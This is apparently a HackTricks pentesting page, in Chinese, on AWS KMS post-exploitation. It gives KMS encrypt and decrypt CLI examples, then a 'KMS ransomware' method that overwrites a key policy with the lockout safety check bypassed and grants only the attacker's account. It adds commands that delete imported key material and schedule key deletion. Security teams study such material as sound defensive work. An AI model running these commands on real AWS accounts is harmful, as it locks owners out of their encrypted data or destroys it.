AWS - KMS Post Exploitation

支持 HackTricks

KMS

有关更多信息,请查看:

AWS - KMS Enum

加密/解密信息

请注意,如果您想解密文件中的某些数据,文件必须包含二进制数据,而不是 base64 编码的数据。

  • 使用 对称 密钥

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 使用非对称密钥:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

拥有 KMS 特权访问权限的攻击者可以修改密钥的 KMS 策略并授予他的账户访问权限,同时移除授予合法账户的访问权限。

然后,合法账户的用户将无法访问任何使用这些密钥加密的服务的信息,从而在账户上创建一个简单但有效的勒索软件。

请注意,AWS 管理的密钥不受此攻击影响,只有客户管理的密钥

还需注意使用参数 --bypass-policy-lockout-safety-check 的必要性(在网页控制台中缺少此选项使得此攻击仅能通过 CLI 实现)。

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

请注意,如果您更改该策略并仅向外部帐户授予访问权限,然后从该外部帐户尝试设置新策略以将访问权限恢复到原始帐户,您将无法

通用 KMS 勒索软件

全球 KMS 勒索软件

执行全球 KMS 勒索软件还有另一种方法,涉及以下步骤:

  • 创建一个由攻击者导入的密钥材料的新密钥

  • 使用新密钥重新加密使用先前版本加密的旧数据。

  • 删除 KMS 密钥

  • 现在只有拥有原始密钥材料的攻击者才能解密加密数据

销毁密钥

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

请注意,AWS 现在防止从跨账户执行之前的操作:

支持 HackTricks

Last updated